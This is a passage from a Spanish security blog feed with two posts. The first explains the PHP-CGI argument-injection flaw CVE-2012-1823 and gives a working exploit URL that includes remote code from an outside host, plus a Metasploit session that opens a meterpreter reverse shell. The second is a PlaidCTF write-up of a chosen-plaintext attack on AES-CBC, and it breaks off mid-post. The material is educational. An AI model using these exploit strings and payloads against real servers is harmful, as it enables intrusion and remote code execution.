Entre el jueves y el viernes de la semana pasada (al menos yo me enteré ese día) saltó la noticia: Se &lt;a href="http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" target="_blank"&gt;había publicado una vulnerabilidad en PHP&lt;/a&gt; que podría permitir la ejecución de código de forma remota (CVE-2012-1823). La vulnerabilidad solo afecta a aquellos servidores en los que PHP ha sido configurado como CGI, y no como módulo del servidor web, que hasta donde yo sé la configuración más habitual. No obstante, existen conocidos servicios que emplean PHP como un CGI, por lo que aunque no sea la configuración más extendida, el impacto de la vulnerabilidad podría resultar ser muy grave:&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/--0wS6ykKILQ/T6T2FJID4GI/AAAAAAAAApU/kXNoCvTOn94/s1600/000_Facebook.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="521" src="http://3.bp.blogspot.com/--0wS6ykKILQ/T6T2FJID4GI/AAAAAAAAApU/kXNoCvTOn94/s640/000_Facebook.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
La vulnerabilidad, en su concepto, es muy similar a la vulnerabilidad en Java WebStart publicada por &lt;a href="http://twitter.com/#!/reversemode" target="_blank"&gt;Rubén Santamarta&lt;/a&gt; el año pasado, y que ya comentamos aquí &lt;a href="http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html" target="_blank"&gt;[1]&lt;/a&gt; &lt;a href="http://www.pentester.es/2010/05/explotando-java-web-start.html" target="_blank"&gt;[2]&lt;/a&gt;.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
El concepto es: El servicio coge una serie de parámetros, entre ellos algunos (o todos) proporcionados por el usuario, y construye una llamada a un binario del sistema. Si no existe un filtrado correcto de dichos parámetros proporcionados por el usuario, podemos llamar al binario añadiendo opciones que el servicio no espera. Por poner un ejemplo (pseudo-código):&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;Binary = "PrintName.exe"&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Args = "-n " + username&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;execute( Binary, Args )&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Lo normal sería que el usuario introdujera su nombre pero ¿qué pasa si introduce algo como "Jose -cmd id"? Pues bueno, suponiendo que ese binario tiene una opción "-cmd" que le hace ejecutar el comando que se le pase, el usuario estaría consiguiendo ejecutar el comando "id" para ver los privilegios del usuario que ejecuta el servicio (en un Unix).&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Esto es exactamente lo que ocurre en esta vulnerabilidad: Es posible añadir parámetros en la llamada a php-cgi cuando es llamado para interpretar una página, pero... ¿qué opciones nos da el binario php-cgi? Podemos ver &lt;a href="http://www.php.net/manual/en/features.commandline.options.php" target="_blank"&gt;todas sus opciones en la web de PHP&lt;/a&gt; (pone que es para el binario php, pero son las mismas opciones para php-cgi, por lo que he podido ver). De entre ellas, hay un par que resultan especialmente interesantes:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;-d foo[=bar] Define INI entry foo with value 'bar'&lt;br /&gt;-n No php.ini file will be used&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Parece ser que podemos añadir parámetros como si estuvieran en php.ini pero para esa ejecución concreta de PHP. Eso es muuuy interesante. Si pegamos un vistazo a &lt;a href="http://www.php.net/manual/es/ini.list.php" target="_blank"&gt;las opciones que permite php.ini&lt;/a&gt;, también vemos un par que pueden servirnos para nuestros oscuros propósitos:&lt;/div&gt;
&lt;br /&gt;
&lt;table class="doctable table" style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-family: verdana, arial, helvetica, sans-serif; font-size: 14px;"&gt;&lt;thead&gt;
&lt;tr&gt;&lt;th style="background-color: #9999cc; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;&lt;br /&gt;
Nombre&lt;/th&gt;&lt;th style="background-color: #9999cc; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;Por defecto&lt;/th&gt;&lt;th style="background-color: #9999cc; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;Cambiable&lt;/th&gt;&lt;th style="background-color: #9999cc; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;Historial de cambios&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;&lt;tbody class="tbody"&gt;
&lt;tr&gt;&lt;td style="background-color: #f0f0f0; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;&lt;a class="link" href="http://www.php.net/manual/es/filesystem.configuration.php#ini.allow-url-include" style="background-color: transparent; border-bottom-color: rgb(0, 0, 153); border-bottom-style: solid; border-bottom-width: 1px; color: #000099; text-decoration: none;"&gt;allow_url_include&lt;/a&gt;&lt;/td&gt;&lt;td style="background-color: #f0f0f0; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;"0"&lt;/td&gt;&lt;td style="background-color: #f0f0f0; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;PHP_INI_ALL&lt;/td&gt;&lt;td style="background-color: #f0f0f0; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;PHP_INI_SYSTEM en PHP 5. Disponible desde PHP 5.2.0.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style="background-color: #f0f0f0; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;&lt;a class="link" href="http://www.php.net/manual/es/ini.core.php#ini.auto-prepend-file" style="background-color: transparent; border-bottom-color: rgb(0, 0, 153); border-bottom-style: solid; border-bottom-width: 1px; color: #000099; text-decoration: none;"&gt;auto_prepend_file&lt;/a&gt;&lt;/td&gt;&lt;td style="background-color: #f0f0f0; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;NULL&lt;/td&gt;&lt;td style="background-color: #f0f0f0; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;PHP_INI_PERDIR&lt;/td&gt;&lt;td style="background-color: #f0f0f0; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px;"&gt;PHP_INI_ALL en PHP &amp;lt;= 4.2.3.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Bueno, pues parece que ya vamos viendo la luz al final del&amp;nbsp;túnel: Si activamos que permita incluir URLs y hacemos que incluya el código PHP que queramos, ya podemos pasar a cosas más interesantes. Tendríamos entonces que construir una URL tal que así:&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: left;"&gt;
&lt;i&gt;http://php.pentester.es/?-d+allow_url_include=on+-d+auto_prepend_file=http://foo.pentester.es/exploit.txt&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
Esto debería funcionar y el código PHP en exploit.txt debería ser ejecutado por la web a la que estamos atacando, pero mirando los exploits publicados he visto algo que no conocía y que me ha gustado bastante, y es que podemos usar una URL especial &lt;b&gt;&lt;a href="http://www.php.net/manual/es/wrappers.php.php" target="_blank"&gt;php://input&lt;/a&gt;&lt;/b&gt;&amp;nbsp;que lo que hace referencia es al contenido proporcionado por la entrada&amp;nbsp;estándar, que en el caso de esta llamada será el contenido pasado por POST, así que podemos insertar código PHP sin necesidad de hacer referencia a ninguna URL externa, simplemente pasando el código por POST. La cosa quedaría así:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;
&lt;/i&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-IDUsZrknfnU/T6UCly7o23I/AAAAAAAAApg/Drv_iBYPx50/s1600/002_PHP.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="514" src="http://2.bp.blogspot.com/-IDUsZrknfnU/T6UCly7o23I/AAAAAAAAApg/Drv_iBYPx50/s640/002_PHP.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
BINGO! Parece que ya podemos ejecutar código PHP, así que la cosa marcha, pero mejor que código PHP sería mejor ejecutar comandos del sistema operativo. Para eso solo hay que jugar un poquito con el PHP y pasarle algo así:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-8S-iJz_lihg/T6UDQgOPEmI/AAAAAAAAApo/EuIRNDuUF44/s1600/003_Exec.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="512" src="http://4.bp.blogspot.com/-8S-iJz_lihg/T6UDQgOPEmI/AAAAAAAAApo/EuIRNDuUF44/s640/003_Exec.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
A partir de aquí ya solo tenemos que cambiar el contenido del parámetro "cmd" que estamos pasando por POST y poner el comando que queramos, y eso se ejecutará en el sistema con las restricciones que haya aplicado el sysadmin al usuario que ejecuta el servicio.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Dando un paso más allá, además de ejecutarlo a mano, resulta que la gente de &lt;a href="http://www.metasploitminute.com/2012/05/cve-2012-1823-php-cgi-bug.html" target="_blank"&gt;Metasploit ya ha desarrollado un módulo&lt;/a&gt; llamado "&lt;b&gt;php_cgi_arg_injection&lt;/b&gt;", lo cual hace muchísimo más sencilla su explotación:&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;$ &lt;b&gt;./msfconsole&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;msf &amp;gt; &lt;b&gt;use exploit/multi/http/php_cgi_arg_injection&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;msf &amp;nbsp;exploit(php_cgi_arg_injection) &amp;gt; &lt;b&gt;set PAYLOAD php/meterpreter/reverse_tcp&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;msf &amp;nbsp;exploit(php_cgi_arg_injection) &amp;gt; &lt;b&gt;set LHOST 172.16.146.1&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;msf &amp;nbsp;exploit(php_cgi_arg_injection) &amp;gt; &lt;b&gt;set RHOST php.pentester.es&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;msf &amp;nbsp;exploit(php_cgi_arg_injection) &amp;gt; &lt;b&gt;set TARGETURI /&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;msf &amp;nbsp;exploit(php_cgi_arg_injection) &amp;gt; &lt;b&gt;exploit&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;[*] Started reverse handler on 172.16.146.1:4444&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;[*] Sending stage (38791 bytes) to 172.16.146.128&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;[*] Meterpreter session 2 opened (172.16.146.1:4444 -&amp;gt; 172.16.146.128:41732) at Sat May 05 11:31:00 +0200 2012&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;meterpreter &amp;gt; &lt;b&gt;sysinfo&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;OS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Computer &amp;nbsp; &amp;nbsp;: bt&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Meterpreter : php/php&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;meterpreter &amp;gt; &lt;b&gt;getuid&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Server username: www-data (33)&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;meterpreter &amp;gt; &lt;b&gt;portfwd --help&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Usage: portfwd [-h] [add | delete | list | flush] [args]&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;OPTIONS:&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; -L &lt;opt&gt; &amp;nbsp;The local host to listen on (optional).&lt;/opt&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; -h &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Help banner.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; -l &lt;opt&gt; &amp;nbsp;The local port to listen on.&lt;/opt&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; -p &lt;opt&gt; &amp;nbsp;The remote port to connect to.&lt;/opt&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&amp;nbsp; &amp;nbsp; -r &lt;opt&gt; &amp;nbsp;The remote host to connect to.&lt;/opt&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
No he jugado mucho con el Meterpreter PHP, pero imagino que tendrá una funcionalidad bastante reducida (igual que el de Java), pero por lo que he podido ver tiene la suficiente funcionalidad como para subir y bajar ficheros, redirigir puertos y algunas otras de esas funciones que tanto me gustan, y que nos van a acercar un poco más al PWN total del servidor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-4611136199191733910?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/05/explotando-php-cgi.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/--0wS6ykKILQ/T6T2FJID4GI/AAAAAAAAApU/kXNoCvTOn94/s72-c/000_Facebook.png" height="72" width="72" /><thr:total>7</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6237432944871070766</guid><pubDate>Wed, 02 May 2012 05:30:00 +0000</pubDate><atom:updated>2012-05-02T11:54:50.848+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ctf</category><category domain="http://www.blogger.com/atom/ns#">criptografia</category><title>Encryption Service del PlaidCTF</title><description>&lt;div style="text-align: justify;"&gt;
El tema de los CTF es algo en lo que no suelo meterme. En ocasiones me apunto a alguno, pero no puedo dedicar todo el tiempo que requieren, así que suelo intentar sacar algún rato para hacer una prueba o dos y poco más.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style="text-align: justify;"&gt;
El pasado fin de semana tuvo lugar el &lt;a href="http://ctf.plaidctf.com/" target="_blank"&gt;PlaidCTF&lt;/a&gt;, organizado por los &lt;a href="http://ppp.cylab.cmu.edu/wordpress/" target="_blank"&gt;PPP&lt;/a&gt;, un conocido equipo que compite habitualmente en los CTF. Los &lt;a href="http://int3pids.com/" target="_blank"&gt;int3pids&lt;/a&gt;, para variar, no podían faltar a uno de estos eventos, así que aproveché que conozco a varios de ellos para que me dejaran conectarme algún ratejo e intentar alguno de los retos.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Solo me dio tiempo a hacer un par de retos en el rato que le pude dedicar durante el fin de semana, pero de ellos me gustó uno llamado "Encryption Service", que decía algo así:&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;b&gt;&lt;i&gt;We found the source code (&lt;a href="http://ctf.plaidctf.com/media/files/encryption_service-00280bdc6eb758556bec5d38939aeaf8/encryption_service.py"&gt;http://ctf.plaidctf.com/media/files/encryption_service-00280bdc6eb758556bec5d38939aeaf8/encryption_service.py&lt;/a&gt; ) for this robot encryption service, except the key was redacted from it. The service is currently running at 23.21.15.166:4433&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Como no sé si dejarán el código fuente indefinidamente publicado, os lo dejo subido &lt;a href="https://sites.google.com/site/pentesteres/Home/pentester-es/encryption_service.py?attredirects=0&amp;amp;d=1" target="_blank"&gt;AQUÍ&lt;/a&gt; por si acaso.&lt;/div&gt;
&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Si&amp;nbsp;leéis&amp;nbsp;un poco que hace el servicio, vereis que sigue un proceso tal que así:&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li style="text-align: justify;"&gt;El cliente conecta al servidor&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;El servidor genera aleatoriamente un IV (vector de inicialización) de 16 bytes que posteriormente usará para el cifrado, y se lo pasa al cliente.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;El cliente elige una cadena de texto que le debe pasar al servidor en formato: longitud (en 4 bytes) + cadena&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;El servidor lee la cadena y la concatena con&amp;nbsp;PROBLEM_KEY (que presumiblemente es la clave que se necesaria para superar la prueba) y lo rellena de caracteres hasta que la longitud de la cadena sea múltiplo de 16 (necesario para el cifrado).&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;La cadena resultante es cifrada mediante AES en Modo CBC con el IV que se nos ha proporcionado y una clave que desconocemos (no son todo 'x', por supuesto).&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;El resultado del cifrado vuelve al cliente en el mismo formato que antes: longitud (en 4 bytes) + cadena&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
La verdad es que cuando vi "padding" (relleno) lo primero que pensé fue en un ataque de Padding Oracle, pero en realidad no era nada de eso.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Lo primero que hice fue buscar un diagrama del Modo CBC (Cipher-block Chaining), porque al no ser una persona que se dedica a temas de criptografía (ni tampoco un apasionado del tema), la verdad es que no lo tenía en la cabeza en absoluto. En la Wikipedia sin ir más lejos podemos encontrar este:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-h-6XhyXWojM/T52SVsMpjtI/AAAAAAAAAoQ/4RoeuJ-8AQ4/s1600/Cbc_encryption.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="257" src="http://4.bp.blogspot.com/-h-6XhyXWojM/T52SVsMpjtI/AAAAAAAAAoQ/4RoeuJ-8AQ4/s640/Cbc_encryption.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Vamos a repasar las variables que tiene este diagrama, a ver que situación tenemos:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;PlainText&lt;/u&gt;: Aunque lo que enviemos al servicio será concatenado con más texto, podemos utilizar cadenas de 16 bytes y así&amp;nbsp;controlaríamos&amp;nbsp;completamente el PlainText del primer bloque. Con 32 bytes controlaríamos el segundo, y así sucesivamente. Podríamos decir que tenemos un control total del PlainText de algunos bloques, pero no del PlainText completo.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;IV&lt;/u&gt;: NO lo controlamos. Es generado aleatoriamente por el servidor. Eso sí, &lt;b&gt;el servidor nos lo da a conocer antes de que le digamos que cadena debe cifrar&lt;/b&gt;.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;Key&lt;/u&gt;: NO lo controlamos NI somos capaces de saber cual es. Es algo que permanece interno al servidor y no tenemos ni idea de cual será.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;&lt;u&gt;CipherText&lt;/u&gt;: El servicio nos devuelve el texto cifrado. NO lo controlamos de una forma directa, pero se produce a partir de algunas de los parámetros que sí controlamos, y algunos otros que no.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Así de primeras, parece que podemos "anular" un poco el factor de aleatorización que introduce el IV, ya que aunque no lo controlamos directamente, este únicamente se utiliza para hacer un XOR con la cadena que introduzcamos. Por poner un ejemplo, imaginad que quisiéramos que la cadena 'ABCDEFGHIJKLMNOP' (16 bytes) llegara tal cual a cifrarse con la clave que desconocemos. Solo tendríamos que seguir el siguiente proceso:&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li style="text-align: justify;"&gt;Conectamos y obtenemos el IV&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Calculamos PlainText =&amp;nbsp;'ABCDEFGHIJKLMNOP' XOR IV y lo enviamos como cadena a cifrar&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Al llegar al servidor y hacerse otra vez XOR con el IV, ambos se anulan, y la cadena que llega para cifrarse con la clave es&amp;nbsp;'ABCDEFGHIJKLMNOP'.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style="text-align: justify;"&gt;
En esta situación podemos realizar los llamados &lt;b&gt;Chosen Plaintext Attacks&lt;/b&gt;, porque son ataques que pretenden obtener información sobre la clave de cifrado a partir del conocimiento de los plaintext y de los ciphertext, pudiendo ser el plaintext elegido por el criptoanalista.&lt;/div&gt;
&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Buscando un poco a ver que opciones tenemos, podemos ver como se pueden realizar algunos ataques contra este diseño, muy similares a los publicados por &lt;a href="http://twitter.com/#!/julianor" target="_blank"&gt;&lt;b&gt;Juliano Rizzo&lt;/b&gt;&lt;/a&gt; y &lt;b&gt;Thai Duong&lt;/b&gt; el pasado año (&lt;a href="http://www.ekoparty.org/2011/juliano-rizzo.php" target="_blank"&gt;BEAST&lt;/a&gt;). De entre la documentación que he podido leer por ahí, me ha gustado mucho (por su simplicidad) la que publicó el equipo de &lt;a href="https://www.torproject.org/" target="_blank"&gt;Tor Project&lt;/a&gt; &lt;a href="https://blog.torproject.org/blog/tor-and-beast-ssl-attack" target="_blank"&gt;AQUÍ&lt;/a&gt;, que dice algo&amp;nbsp;así:&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
&lt;b&gt;&lt;b&gt;&lt;i&gt;The ability to decide where block boundaries fall turns out to be a big deal. Let's suppose that instead of filling up a full plaintext block with 16 bytes of Evil, the attacker only fills up 15 bytes... so the block will have 15 bytes the attacker controls, and one byte of the secret.&amp;nbsp;Whoops! There are only 256 possible values for a single byte, so the attacker can guess each one in turn, and use the older guess-checking attack to see if he guessed right.&lt;/i&gt;&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
En este caso, viendo el código del servidor, no necesitamos probar 256 valores para obtener el valor de un byte, sino que con comprobar los valores [a-z_] tendremos más que suficiente. Imaginad que queremos saber si el primer caracter es una 'x', podríamos hacer algo así:&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li style="text-align: justify;"&gt;Tenemos la cadena 'AAAAAAAAAAAAAAA' (15 bytes) que sera concatenada con el primer caracter del PROBLEM_KEY y será cifrada con la clave que desconocemos, y nos proporcionará un ciphertext.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Probamos lo mismo pero esta vez con la cadena 'AAAAAAAAAAAAAAAx' (16 bytes). En esta ocasión el PROBLEM_KEY no va a entrar en este bloque, sino en el siguiente, pero si su primer caracter era una 'x' el plaintext va a ser identico al de antes, y como la clave es la misma... el ciphertext debería ser igual.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Si vamos probando los posibles valores ([a-z_]) y comparando los ciphertext descubriremos cual es el valor de la X.&lt;/li&gt;
&lt;li style="text-align: justify;"&gt;Este proceso se puede repetir reduciendo el número de bytes (14 bytes) para descubrir el segundo caracter, y así sucesivamente hasta descubrir toda la cadena.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-kj0DPZFlnx0/T528Mhl099I/AAAAAAAAAoc/S4bMR5FkgnA/s1600/Diagrama1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-kj0DPZFlnx0/T528Mhl099I/AAAAAAAAAoc/S4bMR5FkgnA/s320/Diagrama1.png" width="301" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Bueno, parece que lo tenemos ya casi todo hecho, pero... ¿y el IV? ¿No nos va a fastidiar un poco al "mezclarse" con&amp;nbsp;PROBLEM_KEY? Pues... SI, así de primeras nos va a fastidiar un poco el asunto, &amp;nbsp;porque podemos anular el IV con el PlainText que nosotros elegimo, pero cuando se concatena con el PROBLEM_KEY... perdemos esa capacidad. Veamos como lo haremos:&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Si recordamos el diagrama y el control que tenemos sobre los elementos de él, sabemos que tenemos un control parcial del PlainText y una ausencia total de control del IV que se aplica al primer bloque, pero si conseguimos anular el IV inicial con los primeros 16 bytes del PlainText que elijamos entonces convertimos el ciphertext del primer bloque en estático (siempre será el mismo), con lo que el algoritmo pierde la aleatorización que le hubiera aportado el IV para este y los siguientes bloques. Para hacer esto simplemente elegimos los primeros 16 bytes que queramos (16 'A's, por poner el mismo ejemplo) y le hacemos XOR con el IV de cada conexión que hagamos, el cual se anulará al hacerse XOR con el mismo valor en el servidor. Hecho esto, podemos aplicar la técnica que comentaban en el blog del Tor Proyect a partir del segundo bloque.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
Por lo tanto, vamos a utilizar el primer bloque para cargarnos la influencia del IV, y los dos siguientes para obtener el PROBLEM_KEY, que según el código al que hemos tenido acceso son 29 bytes, empleando la técnica que hemos descrito antes:&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;ol&gt;
&lt;li&gt;Conectamos y obtenemos el IV.&lt;/li&gt;
&lt;li&gt;Cogemos los 16 bytes estáticos y hacemos XOR con el IV. Con eso obtenemos los primeros 16 bytes de nuestra cadena de entrada.&lt;/li&gt;
&lt;li&gt;Creamos una cadena de 15 'A's y la concatenamos con la anterior. La enviamos para cifrar y nos guardamos el ciphertext del segundo bloque.&lt;/li&gt;
&lt;li&gt;Repetimos la operación, pero vez vamos añadiendo a las 15 'A's los posibles valores [a-z_] y comprobamos si el ciphertext es el mismo que antes. Si lo es este es el caracter que buscamos.&lt;/li&gt;
&lt;li&gt;Repetimos el proceso con 14 'A' (+ 1 caracter obtenido previamente + uno que probamos todas las opciones), luego con 13 (+ 2 obtenidos + 1 probando), y así sucesivamente hasta que hayamos llenado todo el primer bloque con los primeros 16 bytes del PROBLEM_KEY.&lt;/li&gt;
&lt;li&gt;Nos vamos ahora al tercer bloque, y seguimos repitiendo idéntico proceso hasta que hayamos obtenido los 29 bytes del PROBLEM_KEY.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
